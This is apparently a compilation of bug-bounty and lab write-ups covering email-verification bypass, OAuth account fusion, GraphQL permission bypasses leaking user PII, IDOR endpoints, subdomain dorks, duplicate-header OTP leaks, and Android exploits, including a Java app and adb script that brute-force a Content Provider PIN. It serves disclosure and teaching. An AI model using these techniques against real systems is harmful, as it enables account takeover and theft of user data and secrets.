‼️ Disclaimer:
I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration.

The Program

This app offers two ways to sign up: the standard email/password route or a quick OAuth sign-up using Google or GitHub.

If you choose email/password, the app puts you in a “pending” state. You’re sent a verification link and blocked from the dashboard until you click it. However, the OAuth flow is different, it assumes the third-party provider has already done the legwork, so it bypasses the verification step entirely and drops you straight into the account.

OAuth Account Fusion

Imagine you create an account with user@gmail.com using a password but never bother to verify it. Later, you come back and click "Sign up with Google" using that same email. The application sees the matching email and automatically fuses the two accounts into one. Now, you can log in using either method.

The problem is that by “fusing” these accounts, the application effectively grants “verified” status to the original email/password account without the user ever having to click that verification link. It assumes that because you own the Google account, you must own the original unverified account, a shortcut that often leads to some serious security oversights.

The Vulnerability

While testing the account fusion logic, I found a clean way to bypass the verification requirement entirely.

If you create an account with an email and password but leave it in that “unverified” pending state, the app is just waiting for a confirmation. The second you (or anyone else) use that same email to sign up via OAuth, the app fuses the two. The “unverified” status of the email/password account is simply overwritten by the “trusted” status of the OAuth provider. No more verification link required.

This GraphQL exploit made me $1,500 just because I read the JavaScript

The Exploit

To test this, I started by acting as the attacker. I went to the standard registration page and signed up using a target email (let’s call it victim@gmail.com) and a password I controlled.

As expected, the application did its job, it hit me with a “Verify your account” wall and blocked me from the dashboard. I have the credentials, but I don’t have the access.

With the first browser still stuck on the “Verify your email” screen, I opened a private tab and went through the Sign up with Google flow using that same email address.

As expected, the OAuth process completed and dropped me straight into the dashboard.

I switched back to the tab that had been sitting on the “Verify account” message and simply hit refresh. Instead of asking for a code, the page reloaded and redirected me immediately to the dashboard.

The application had seen the successful OAuth login, decided the email was now “trusted,” and instantly upgraded the pending session in my other browser.

Read this different Email Verification Bypass blog which led to a $1,500 payout.

Impact of this Attack

This works in a pre-takeover scenario where an attacker can sign up an account with anyone’s email address. With verification pending, they only need to wait out for the victim to sign up via OAuth. They can now access the same dashboard through the email-password channel whereas the victim would be using the OAuth channel.

Payment

I got paid $500 for this finding mostly because they focused on the fact that this is a Pre-Account Takeover.

Rate Limit Bypass is actually easy when you know which header to use.

Hey …bye

Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

‼️ Disclaimer:
I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.

The Program

Alright so I’m looking at this organization’s application: A management platform. The ecosystem consists of a main web interface at app.target.com for user onboarding and a GraphQL API endpoint hosted at app.target.com/api/v1/graphql. While mapping out the application’s functionality, I noticed it also allows inviting other users and there’s a page for user management where roles can be assigned and what not.

My testing methodology always begins by establishing a baseline for expected behavior. By using the application as intended, creating an account, verifying the email, and logging in, I can map out what a successful response looks like. I observed that the application issues a JWT for session management immediately after both email verification and standard authentication.

The Vulnerability

Initially, this was straight forward. After creating an account, I was hit with a ‘Verify Your Account’ wall. Without that activation link, there was no obvious path to the dashboard. I attempted several forced browsing techniques to bypass the requirement, but the server consistently redirected me back to the verification notice. At this stage, no session JWT had been issued, confirming that the application was correctly withholding authentication until the account was activated.

But looking through burp’s HTTP History tab, I noticed 3 GraphQL requests go through when this page loaded up for the first time. In contrast, when you do a fresh login with the newly created account, you get redirected to the same verification page. However, these 3 GraphQL requests do not happen.

These are easy to miss as a lot of GraphQL analytic operations are being sent during this time. Reviewing the first of the 3, I noticed it was a query operation to retrieve the signed-up user’s profile information. The second one retrieved my workspace info and the last retrieved my role information. In these 3 requests, there was a custom header named X-Target-Env-Access-Blobwhich contained a key. Removing this gave me a 401 error.

This is another method I used to Bypass Rate Limit using some special headers in the request.

The Exploit

Using the account I created earlier to understand the flow, I performed a few authenticated operations, including inviting another user to my workspace. This GraphQL mutation takes a workspace ID and the invitee’s email. I copied the mutation into Burp Suite’s Repeater, grabbed my workspace ID from the second background request I found earlier, and added the email address I wanted to invite.

{
  "query": "mutation InviteUserToWorkspace($input: InviteUserInput!) {
    inviteUser(input: $input) {
      success
      message
      invitation {
        id
        email
        role
        status
      }
    }
  }",
  "variables": {
    "input": {
      "workspaceId": "ws_attackers_worspace_UUID",
      "email": "another-user@tinopreter.com",
      "role": "MEMBER"
    }
  }
}

I sent this and I got an invite link in my inbox. This means, even though my request does not have a valid JWT Authorization, the key in the X-Target-Env-Access-Blobheader provided me with an authenticated session to use the application through the APIs, without verifying my account.

Decompile Android APK to learn how to Abuse Notification Logic for exploit.

Impact of this Email Verification Bypass

As an attacker, you could sign up using any organization’s email and take full control of the resulting workspace through the API. From there, you could create tasks and invite legitimate staff to join fraudulent projects. You could even invite your own external email addresses, assign yourself administrative privileges, and operate right alongside unsuspecting employees.

Initial Payment

I was paid $500 for this finding. I expected more but yeah.

But I wasn’t done yet.

First Escalation: Session Persistence ($150)

When you create an account with your victim’s email and get stuck at the verify email page, you can manage your workspace through the APIs.

The Invite Flow

When you create an account, a workspace is automatically generated under your name. However, if a workspace admin is invited to join another user’s workspace and accepts that invitation, they immediately lose access to their own workspace and become a member of the new one.

When the victim (whose email we used to create the account) is invited to a legitimate workspace and accepts, they are prompted to set a new password. This immediately invalidates the password the attacker set during the initial account creation. Ideally, the workspace the attacker was operating under also gets abandoned. Once the victim sets their own password, the attacker’s unauthorized access is effectively cut off.

BUT, the access granted by those 3 GraphQL requests is never invalidated after the password change. We can now see the new workspace data the victim has access to.

Even after a new password is set and the initial workspace we controlled becomes invalid, the session remains persistent. I submitted this in a new report, but it was downgraded to Low severity due to specific attack constraints. I ultimately agreed with the assessment and was awarded a $150 bounty.

Second Escalation: Account Linking ($200)

I don’t want to make this write-up too long. This particular escalation was very interesting, I wrote about it here ($500 OAuth Account Fusion Pre-Takover).

In summary, I identified an improper OAuth implementation where combining session persistence with the email verification bypass allowed for unauthorized account access. The security team determined that this finding shared the same root cause as the initial verification bypass, which acted as the anchor for most of these attacks. They downgraded the severity accordingly and awarded a $200 bounty.

Final Argument: Getting Paid the Remains ($650)

The fact that they all have the same root cause tied to the email verification bypass aside, the impact of this bypass extends far more than my initial report indicated. I reopened the bypass report and argued my point.

They agreed and upgraded the original email verification bypass from Medium to High. Since I had already been paid $850, they issued the remaining $650 to meet the $1,500 total that a High-severity finding deserves.

At times all it takes is taking some time away from the keyboard and coming back with new ideas. Communication is also very key.

At times all it takes is Changing the wording in an API’s path to retrieve ALL user PII.

Hey …bye

Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

‼️ Disclaimer:
I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all GraphQL operations mentioned have been renamed to avoid revealing the actual program.

The Program

This is an AI platform designed for model management. Inside the workspace, you can deploy models, invite collaborators, and assign roles. To handle all these moving parts, the application relies heavily on GraphQL for its API.

A bit about GraphQL

GraphQL is a developer-friendly query language that lets you specify exactly what data you want to retrieve or modify. Originally developed by Facebook and open-sourced in 2015, it was designed to fix REST’s biggest headaches: over-fetching (getting too much data) and under-fetching (not getting enough). Instead of chaining multiple REST calls, GraphQL uses a single endpoint to deliver exactly what you ask for in one shot.

REST API’s Over-Sharing

In a typical application, the UI is usually restrictive. You might see a list of friends, and clicking a profile only shows you a name and a “message” icon. On the surface, it looks like the app is only sharing basic public info.

In REST, the request that retrieves this friend’s info is usually a simple GET to an endpoint using their UUID. The oversharing happens when the API returns a much larger object than the UI actually needs. Even though you only see a name and a message icon on the screen, the background response might include their email, role, and account creation date, etc. At this point, the frontend is doing all the work, filtering the data to show only the name while the sensitive details sit unused, but fully exposed, in the response.

How GraphQL Solves REST API’s Over-Sharing

GraphQL is direct. You tell it you only want a user’s first name, and it returns exactly that. This is done through a query operation. In our case, since the web page only needs to render the friend’s name, we pass their ID to the query and request only that specific field.

Unlike REST, where the server decides what you get, GraphQL puts the control in the hands of the request. This removes the need for the frontend to filter out a massive, data-heavy response just to show a single name.

Reformatting the GraphQL body, we see a query operation named FriendAccount. In this request, we query the user object by passing the friend’s UUID as a variable. Following the GraphQL standard, we specify exactly which fields we want to return, in this case, just the name. The API responds with exactly that and nothing more.

This solves a massive problem found in most REST API implementations. But GraphQL introduces its own set of challenges. In a recent bug hunt, I identified a High-rated vulnerability by exploiting a common misconfiguration in how permissions are implemented.

The vulnerability

As a workspace admin, you can create either Private or Public webhooks. Private webhooks are locked to specific AI model projects, while Public webhooks are available to the entire organization. Per their permission model, a low-privileged user should never be able to query webhooks associated with projects they aren’t assigned to.

I identified two vulnerabilities where a low-level user could not only query private webhooks from other projects but also escalate that access to retrieve sensitive information about other users.

How a Low Privileged User can query Private Webhooks

The GetProjectWebhooks query is used to retrieve private webhooks assigned to a specific project. Because of this, the operation requires us to pass a project ID as a variable. Under normal conditions, low-level users can only successfully run this request using the ID of a project they are actually assigned to. Notice how the project object is the root of the query, and the webhooks exist as a nested field directly under it.

When a low-level user attempts to retrieve webhooks on a project they haven’t been assigned to, the API responds with an error showing they lack the appropriate VIEW_PROJECT permissions.

However, this restriction can be bypassed by calling a different operation: GetOrgWebhooks. Originally intended for Admins, this query returns all global webhooks, including those assigned to projects a low-level user isn't supposed to see.

Notice the shift in the hierarchy: here, the organization object is the root of the query, and the project object exists as a sub-object within it. While the API blocks a direct query to the project, it fails to verify permissions when that same project is accessed through the organization parent. By pivoting through the organization object, a restricted user can reach the exact same data that was previously forbidden.

From the Organization object, there is a webhook field that references the Webhook object and a project field that references the Project object. This means if you query the Organization, you can pull both Webhooks and Projects at the same time.

The Project object works the same way. You can call the Webhook object directly under it. The data is mapped in a circle: you can reach the same webhook data whether you start your query at the Organization level or the Project level.

The application lacked Field-level Permissions. Even though the API blocks a direct query to a Project with an ID, it fails to verify those same permissions when the Project is requested as a nested field under the Organization. By simply shifting the starting point of the query to the Organization level, you can bypass the restriction and pull the exact same project data that was previously "forbidden."

Another shameless plug of my writeup on how I Bypassed Rate Limit with a classic secret header.

Escalating this to Retrieve other User Info

Yes, a low-level user has been able to query all projects to see their webhooks. That’s not enough to be considered high. On this platform, even if two low-level users are assigned to the exact same project, they should remain completely invisible to each other. The workspace is designed so that every user works isolated, unaware that anyone else is even part of the project.

The Organization object has other interesting fields, like members. This field is designed to return everyone in the entire organization, an object with its own sensitive fields like IDs, emails, and roles.

As a low-level user, I tried to inject this members field into the GetOrgWebhooks operation to see if it would leak the directory. It failed with a permission error! In this specific instance, they actually had field-level permissions implemented correctly to block unauthorized access to the member list.

JavaScript to the Rescue, again!

Just as I was about to report this as a possible Low, I downloaded the bundled index.js file. It was a massive wall of code that contained the schema definitions for all queries and mutations. On line 3193, I spotted a query operation called GetSuggestedCollaborators.

What made this weird was the structure. This query took a projectId and targeted the Project object but this time, the Project object had a new field called suggestedCollaborators. This field was an object itself, and its structure was nearly identical to the members object I had just been blocked from accessing.

I took the suggestedCollaborators field and nested it under the Project object within the GetOrgWebhooks query. Since the API was already failing to check permissions on projects accessed through the Organization, it also failed to check permissions on this new "suggested" field.

I was able to retrieve a complete list of member IDs and emails, right alongside the private project names and secret webhooks I wasn’t supposed to see.

Failed: organizations->projects->members ❌
Valid: organizations->projects->suggestedCollaborators ✅

The Exploit

To confirm my theory that members and suggestedCollaborators were the same objects under different names, I passed the sensitive fields I’d seen earlier in the members object into the suggestedCollaborators object.

It worked.

The API didn’t just return a name; it returned the full profile for every user. By querying the Organization, I could now see every project in the entire company and, for each one, a complete list of every user assigned to it regardless of whether I was supposed to know they existed.

I suspect both objects either implement the same interface or suggestedCollaborators is simply a duplicate of members created without any permission checks. By passing member-specific fields like IDs, intercomHash and emails into the suggestedCollaborators object, I confirmed they were pulling from the same data source.

First time Reading JavaScript earned me $1,500 in a bug hunt, I’ve never looked back since.

Impact and Payment

In this application context, this attack allows the attacker to steal sensitive PII for all registered users (emails, names, roles, etc.) and gain access to confidential Project and User info.

I reported this as High, but HackerOne triage did their thing and downgraded it, which was bizarre.

I didn’t bother arguing the severity at first since the program’s own policy classified leaking other users’ basic info as PII, so I waited for them to just come see this. A few days later, the same HackerOne triager returned and upgraded the report back to High. The program was impressed with the depth of the bypass and awarded me a $1,500 bounty for my troubles.

Android app hacking is not limited to proxying traffic in Burpsuite only, you can read APK code to Exploit misconfigured Content Providers.

Until next time…bye

Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

‼️ Disclaimer:
I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.

The Program

This company provides an application that can best be described as a modern-day password manager. A key feature of the app is the ability to add a trusted device, which allows users to bypass OTP verification during the login process on that specific device.

The vulnerability

There is an API endpoint to retrieve information about our own Trusted device. This endpoint takes our account’s UUID and returns the device’s information. There was an IDOR vulnerability in this API that allowed an attacker to retrieve device info belonging to other users in the same tenant.

IDOR (Insecure Direct Object Reference) is a type of access control vulnerability that occurs when an application provides direct access to objects based on user-supplied input. Any form of info is stored as an object. For instance, User information is stored as objects that are referenced via specific identifiers, such as predictable integers or randomized strings.

An IDOR vulnerability occurs when these identifiers can be manipulated to reveal another user’s object without proper authorization.

#Return our Trusted device info by passing our UUID to the endpoint
/api/v3/trusted-devices/<UUID>

I know what you’re thinking, create two accounts, substitute account B’s UUID into the endpoint to retrieve their Trusted device information. I did that, IT DIDN’T WORK. I got a 403-permission error.

If you fancy core Android app attacks (not the Burpsuite kind), check out how I exploited a Content Provider

JS Recon to Discover More

I have to admit; I had initially given up on finding an IDOR. However, while attempting to execute a separate attack, I began reviewing the JavaScript to identify all admin-related requests (those directed to /api/v3/admin/*). During this process, I stumbled upon an endpoint that got me thinking. This specific endpoint is triggered when clicking on a user with whom you have shared a password, and it returns limited information such as their name and role.

#different endpoint to return limited member info
/api/v3/members/<UUID>/account/info

So, I thought: if ../account/info returns only limited account details, what happens when I change things up a bit?

I’m fond of reviewing JS files even though I can’t code JS. Read how I made $1,500 from simply reviewing JavaScript files.

The Exploit

Nothing too complex, I simply recooked the API endpoint into one that pulls another member’s Trusted device information, and it worked.

#reworked endpoint to return another member's device info
/api/v3/members/<UUID>/trusted-devices/info

By substituting another user’s UUID into that endpoint, I was able to retrieve their device information. The disclosure included their User-Agent, IP address, and several cryptographic keys.

As for the UUIDs themselves, they were leaked throughout the application. For example, when a registered user shares a credential set with you, their unique UUID is exposed within the share link.

Impact and Payment

The major impact here was the leakage of other member’s external IPs and cryptographic keys. I reported this as a High but was bullied into settling for a Medium gang.

You can also check out an easy SSO vuln that led to a 2FA bypass which made me a quick $150.

Hey …bye

Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

‼️ Disclaimer:
I’ve changed specific details about the application in this write-up for confidentiality. Even the screenshots shown are from a different, similar application that doesn’t have a bug bounty program — they’re only used for illustration. Also, all API endpoints mentioned have been altered to avoid revealing the actual program.

The Program

I recently received a private invite to a program that included two main assets: app.target.com and api.target.com. The program provided a single set of credentials for logging into the application, signups were disabled.

From my initial checks, the platform appeared to be focused on document and secrets management. One interesting feature was the ability to create teams and add other users to those teams. While I could see the names of teams created by other users, no additional details such as members or permissions were visible to me.

The Vulnerability

After some deep recon, I uncovered hidden functionality that exposed sensitive information about other users’ teams. This included member names, roles, email addresses, UUIDs, special notes, and even private keys.

While exploring the app, I noticed a feature that lets you create a secret item and share it with individual users or entire teams. During this process, the app reveals team names and their UUIDs, even for teams you don’t belong to — which is expected behavior. Behind the scenes, an API call is made to the following endpoint to fetch team names only:

GET /api/v1/<workspace-UUID>/teams
Host: api.target.com
Authorization: Bearer ey...

Of course, following REST framework’s standards, we can attempt to retrieve info about specific teams by appending their UUID or attaching it as a parameter. In this case, appending it in the path worked.

''====Request====''
GET /api/v1/<workspace-UUID>/teams/<team-UUID>
Host: api.target.com
Authorization: Bearer ey...


''====Response====''
HTTP 200 OK
Server: Apache

{
  "status": "success",
  "data": {
    "teams": [
      {
        "name": "First Team",
        "uuid": "a3f9c2e4-7b8d-4d1a-9f2e-1c3b5a6d8e9f"
      },
      {
        "name": "Another User's Team"
        "uuid": "b7d4e8f1-2c3a-4e9b-8d7f-5a6c9b3e2f1d"
      },
      {
        "name": "Internal Team",
        "uuid": "c9e1f3a7-6d8b-4f2c-9a1e-3b5d7e8f2c4a"
      }
    ]
  }
}

After trying to fuzz beyond the team UUID to uncover additional endpoints, none of my wordlists returned anything useful. Since signups were disabled on the main app, I shifted focus to see if UAT, Staging, Test, or Demo environments existed. These often have signup enabled and can provide extra attack surface.

I’m sneaking in this article to show you why hacking an IoT Android app to control home appliances via a Broadcast Receiver is easier than you might think.

Reconnaissance to Identify Related Assets

I don’t like fuzzing subdomains; I suck at it. So, I prefer to manually enumerate them passively. My first step was using Shodan to look for related domains via a shared SSL certificate (I explained this technique in my previous OTP Leak article). Unfortunately, that didn’t return anything useful. Next, I turned to Google dorks. The simplest dork for finding subdomains of any site is:

site:"*.target.com"

But over the years, I’ve noticed something interesting about Google dorks. A while back, I experimented by adding more than one asterisk (*) in my queries, and Google returned domains that didn’t show up when I used just a single *.

For example, using a dork like this:

site:*.*.target.com

gave me fresh results, including deeper subdomains like:

internal.help.target.com
dev.partner.target.com

You can keep adding more asterisks to uncover even more nested subdomains (sub-sub-sub domains). It’s a simple trick that often reveals assets missed by basic enumeration.

site:"*.*.target.com"

Since my goal was to uncover STAGING, UAT, TEST, PREPROD, or DEV environments, I refined my Google dorks to target those keywords. These environments often have weaker security controls or even allow signups, making them valuable for further testing.

site:"*stg*.target.com"
site:"*-stg.target.*"
site:"*stg-*.target.com"
site:"*uat*.target.*"
site:"*.dev*.target.*"
site:"preprod.*.target.*"
site:"*.target.*" inurl:"staging"
site:"*.target.*" inurl:"uat"
...

(You can try your own combos using the uat, stg, stage, dev, test, etc words)

While refining my dorks, I stumbled upon two staging subdomains. One of them turned out to be an admin staging environment for a React app, and it looked almost identical to the main target application I was testing. The key difference? This staging version had a Sign-Up button, something the production app didn’t allow.

ADMIN Stage Reveals More

I quickly signed up on the admin staging interface. Most of the features were broken, and the app contained test data like dummy teams and users. Despite that, I noticed something interesting: admins had the ability to manage all teams in the workspace.

When you select a specific team, the app fires three API requests to fetch detailed information about that team:

/api/v1/<workspace-UUID>/teams/<team-UUID>
/api/v1/<workspace-UUID>/teams/<team-UUID>/cyqxqz-test/members
/api/v1/<workspace-UUID>/teams/<team-UUID>/cyqxqz-test/secrets

The Exploit

I simply replayed these API endpoints in the target’s application I am testing but it failed. So, I decided to remove the test part from the endpoints, and it worked, I was able to retrieve Team member list, which contained detailed user info, and then the secrets which were encrypted ciphers.

/api/v1/<workspace-UUID>/teams/<team-UUID>/cyqxqz/members
/api/v1/<workspace-UUID>/teams/<team-UUID>/cyqxqz/secrets

Impact & Payment

Since this platform is designed for sharing documents and secrets, any information or activity by other users should remain confidential unless explicitly marked as public. This exploit allowed me to access sensitive data through an API endpoint that should have been restricted to admins only.

Again, a shameless plug: You can easily make a $150 bounty whenever you see any SSO application.

Alright, so I reported the issue responsibly and was rewarded $1,500 for the finding.

Hey hey…bye

Thanks for reading this, if you have any questions, you can DM me on X @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

Some time ago, I came across a Program on Hackerone which had a wildcard (*) subdomain like *.target.com.

How did I identify a target?

To identify potential targets, I used shodan.io to search for domains and IP addresses that share the same SSL certificate Common Name (CN), specifically those matching a wildcard pattern like *.target.com. This method helps identify services that may belong to the same organization or infrastructure.

For instance, if you’re investigating a domain like medium.com, you can inspect its SSL certificate to find the CN value. Once identified, you can use Shodan to enumerate other hosts with certificates containing that same CN, potentially revealing related assets or misconfigured endpoints. Steps to check the CN value for any:

1. You can do so by clicking on the padlock icon in the address bar.
2. Click on the Connection is secure which will open another pop-up box.

3. On the new pop-up box, click on the certificate looking icon and a final pop-up box will appear. Looking at the Common Name (CN), it should tell you the domain name the certificate is issued for.

Sometimes during a bug hunt, I land on a strange subdomain and I’m not sure if it belongs to the target organization. A quick way to check is by comparing its SSL certificate’s CN with that of their main website (or any other known application). If they match, it’s likely part of their infrastructure.

The Shodan search query used:

Ssl.cert.subject.CN:"*.target.com" http.title:"Login"

From the results, I identified an application that allowed user account signup. Let’s call this application insecure.target.com.

Identifying the Vulnerability

During the signup process, there is a final stage where you will have to verify the email. A 6-digit code is sent to your email, and you can verify.

Going back to Burp Suite to see how the API request looks like, I realized something weird:

1. All the API requests were of the GET method
2. They had no form data parameters.

I was a bit confused at first, how exactly was the application sending my registration data to the server? So, I took a closer look at each API request. Then, I found it: a GET request to /api/auth/mobileVerifyRequestOTP. Surprisingly, there were no special query parameters. Instead, the user's registration data was being sent entirely through HTTP headers.

The other form data are also sent via different API endpoints via a GET request also.

This was unusual but I guess it worked for them.

Before reading how I exploited this, check out how I manipulated an API path to Access ALL user PII.

Exploiting Header Pollution

Using the same idea as parameter pollution, I tried duplicating the Mobileusername header with two different email addresses to see how the server would handle it. Surprisingly, it accepted both and responded with a verificationID. (Note: this isn’t the OTP itself, just an ID used to track the registration session.)

One of the emails was my wearehackerone.com (which gets redirected to Gmail) and another from Temp-Mail.org. Checking my Gmail first, I saw the OTP code had arrived, and the OTP code was 399336.

I quickly checked the Temp-Mail’s inbox, and the same 399336 had arrived there also. That confirmed the vulnerability. The server had accepted both emails and sent the same code to each.

This is because the server was processing the duplicated Mobileusername headers in a weird way. Instead of rejecting or overriding the duplicate, it treated both values as part of an array and went ahead to send the same OTP code to each email address listed. This behavior was confirmed by checking the To header in the email received on my Gmail account, which clearly showed both email addresses separated by a comma (,). Even Gmail showed that another recipient had received the same OTP message.

Shamelessly plugging my other article here: Another unique way to Bypass Google CAPTCHA to beat Rate Limiting. Medaase.

What could cause this Vulnerability?

I haven’t seen their backend code; this is merely me speculating. But to demonstrate how such a vulnerability could happen, check out the Flask code snippet below.

from flask import Flask, request
import random

@app.route('/api/auth/mobileVerifyRequestOTP?isEmail=true', methods=['GET'])
def send_otp():
    # Get all values of the 'Mobileusername' header from the GET request
    usernames = request.headers.getlist('Mobileusername')

    # Generate a single OTP code
    otp = str(random.randint(100000, 999999))
    verification_id = str(random.randint(100000, 999999))

    '''
     A duplicate header check should be here but none was implemented
    '''

    # Send the same OTP to all the emails
    send_otp_email(usernames, otp)
    return {'verificationID': verification_id}

What is the Impact of such finding?

For starters, it’s possible to create and verify an account using someone else’s email. I found that the server ties the first Mobileusername header to the account being created. So, a malicious user could set the victim’s email as the first header and their own as the second. They’d receive the OTP, complete the verification, and the account would be created, under the victim’s email.

Mitigation

This can be properly mitigated by implementing a simple check for duplicate headers. If multiple values are detected for the Mobileusername header, the server should reject the request or only process the first value securely.

from flask import Flask, request
import random

@app.route('/api/auth/mobileVerifyRequestOTP?isEmail=true', methods=['GET'])
def send_otp():
    # Get all values of the 'Mobileusername' header from the GET request
    usernames = request.headers.getlist('Mobileusername')

    # Generate a single OTP code
    otp = str(random.randint(100000, 999999))
    verification_id = str(random.randint(100000, 999999))

    # Validate that exactly one header is present
    if len(usernames) != 1:
        abort(400, description="Invalid request: only one Mobileusername header is required.")

    # Send the same OTP to all the emails
    send_otp_email(usernames, otp)
    return {'verificationID': verification_id}

Hey you, yes you in the back…bye

Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

The app implements a Content Provider that stores a PIN code. Our goal is to retrieve the PIN code from the Android application.

Getting Familiar with the App

Upon launching the application, you’re greeted with a simple, single-activity interface featuring an input field and a button. The app prompts the user to enter a 4-digit PIN. If the entered PIN is incorrect, an error message is displayed, guiding the user to try again.

Reviewing the Source Code

A quick look at the source confirms that the app consists of a single exported Activity MainActivity and one exported Content Provider SecretDataProvider.

MainActivity

Reviewing the source code of the MainActivity, we observe that when the submit button is clicked, the onCreate$lambda$0() method is triggered. This method simply retrieves the 4-digit PIN entered by the user and passes it as an argument to the querySecretProvider() method.

The querySecretProvider() method accepts the user-entered PIN as an argument and uses it to query the app’s SecretDataProvider Content Provider passing the PIN as the selection parameter. Based on the results of this query, the method either retrieves and returns the value from the Secret column or, if the query fails or returns no match, displays an appropriate error message to the user.

SecretDataProvider

Shifting focus to the exported SecretDataProvider Content Provider, we find that during its initialization, it reads configuration data from a config.properties file located in the app’s assets/ directory. Specifically, it extracts the fields encryptedSecret, salt, iv, and iterationCount.

Peeking into the config.properties file, we see some hardcoded information in there. Most of which are base64 encoded.

Returning to the SecretDataProvider Content Provider, a closer look at the query() method reveals how incoming requests are processed. The method first strips the "pin=" prefix from the selection argument to isolate the 4-digit PIN. This PIN is then passed to the decryptSecret() method.

The decryptSecret() method relies on a helper function called generateKeyFromPIN(), which combines the user-supplied PIN with metadata previously loaded from the config.properties file — such as the salt, IV, and iteration count—to derive a cryptographic key. This key is then used to decrypt and return the original plaintext secret.

You can read about my other write up on a PendingIntent exploit where we abuse misconfigs in improperly configured Notifications to steal contact info.

Crafting a Java Exploit App in Android Studio

Since we know the SecretDataProvider Content Provider expects a 4-digit PIN, we can attempt a brute-force attack by systematically querying it with every possible PIN from 0001 to 9999. Before implementing this in our exploit app, we need to declare the target provider in the app’s manifest.

Starting with Android 11 (API level 30), apps can no longer freely query all installed apps. Instead, you must explicitly declare the apps or components your app intends to interact with using the <queries> element in the manifest. This ensures your app has visibility into the target provider.

With everything set up, we can now write the actual code to perform the brute-force attack by querying the exposed SecretDataProvider Content Provider. The exploit app will iterate through all possible 4-digit PINs—from 0001 to 9999—and send each one as a query to the provider. Once the correct PIN is found, the provider returns the decrypted secret, which we can capture and log.

package com.tino.badsploit;

import android.database.Cursor;
import android.net.Uri;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;


import androidx.appcompat.app.AppCompatActivity;


public class MainActivity extends AppCompatActivity {

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        Button btn_exploit = (Button) findViewById(R.id.btn_exploit);

        
        //Exploit!
        btn_exploit.setOnClickListener(new View.OnClickListener() {
            @Override
            public void onClick(View v) {
                Log.i("ExploitBtn", "Exploit Button Clicked!");
                badQuery();
            }
        });

    }

    //Content Resolver to query target's Provider
    public void badQuery(){
        Uri uri =Uri.parse("content://com.mobilehackinglab.securenotes.secretprovider");

        //Brute Force PIN
        for (int i=0; i<10000; i++) {
            String PIN = String.format("%04d", i);
            try {
                Cursor cursor = getContentResolver().query(
                        uri, null, "pin=" + PIN, null, null
                );

                if (cursor.moveToFirst()) {
                    do {
                        String secret = cursor.getString(cursor.getColumnIndexOrThrow("Secret"));
                        Log.i("PIN", PIN + "-" + secret);
                    } while (cursor.moveToNext());
                }
            } catch (Exception e){
            }

        }
    }
}

Exploiting with ADB Command Line Tool

This same attack can be done via the ADB Shell command line tool by embedding it into a simple bash script.

#!/bin/bash
for pin in {0000..9999};do
    echo "Trying with PIN: $pin"
    adb shell content content://com.mobilehacking.securenotes.SecretProvider -where pin=$i
done

Submit The Answer

We can try the brute forced PIN on the app to see also. And we succeed.

Hi… see you later.

Thanks for reading this, if you have any questions, you can DM me on Twitter @tinopreter. Connect with me on LinkedIn Clement Osei-Somuah.

🔗READ FOR FREE

Right from the start, we’re informed that the app contains a vulnerability in one of its broadcast receivers. This flaw allows unauthorized users to activate the Master Switch, which controls all connected IoT devices. The app is designed to act as a central hub, letting users toggle devices on or off over a shared network. However, the Master Switch is meant to be restricted to admin users only. The challenge is to exploit this vulnerability by crafting a broadcast that mimics a Master user and triggers the switch.

Getting Familiar with the App

Using the app to have a feel: It has a Login interface which includes a Signup button. Upon signing up and logging, it seems all accounts created are of the guest privilege by default. An authenticated user has access to the Setup and Master Switch buttons.

Since our account is of guest privilege, we can’t control all devices available. It is possible to switch the fan ON/OFF, but we don’t have same privileges over the AC or Speaker.

Going to the Master Switch side, we get asked to enter a 3-digit PIN but upon entering any random digits, we get told the MasterSwitch can’t be controlled by guest accounts.

Reviewing the Source Code

Now looking at the source code of the APK using Jadx-GUI, we see it is made up of 6 Activities and 1 Broadcast receiver. Only the last 3 of the Activities are exported but the lone receiver is exported with an Intent-filter of MASTER_ON.

LoginActivity (exported) is the login screen shown at app launch, while SignupActivity (also exported) is used for the guest account creation. HomeActivity displays the Setup and Master Switch buttons we saw. The code in the HomeActivity shows clicking Setup button opens the non-exported IoTNavigationActivity, and clicking Master Switch opens the non-exported MasterSwitchActivity—both receiving the currentUser object as an extra.

This is the User object that is passed around as an Intent extra. It is a class that implements the Serializable class and returns the user’s details.

IoTNavigationActivity

The non-exported IoTNavigationActivity receives the incoming Serializable currentUser extra. It then loads up each IoT devices page in a fragment that we can cycle through without leaving the Activity. Fragments allow developers to create reusable UI components that can be displayed within a single activity, eliminating the need to build a separate activity for each screen.

To compare device logic, we examine FanFragment and ACFragment. The fan requires no special privileges—when the ON/OFF button is clicked, it reads the current state from SharedPreferences and updates it. In contrast, the AC is restricted to Master accounts, implying additional access control logic.

The ACFragment contains an if clause that checks if the currently logged in user is a guest account or not before proceeding. It does so by referencing the isGuest argument located in user object.

MasterSwitchActivity

Clicking the Master Switch in HomeActivity launches the non-exported MasterSwitchActivity, passing along a Serializable user object. If the user isn't a guest, their entered PIN is converted to an Integer and included in a local broadcast with the action MASTER_ON. Unlike sendBroadcast(), which sends system-wide broadcasts, LocalBroadcastManager.sendBroadcast() restricts the broadcast to within the app.

Using LocalBroadcastManager.sendBroadcast() within the same app makes exporting the broadcast receiver unnecessary and potentially risky, as it could expose internal components without any benefit.

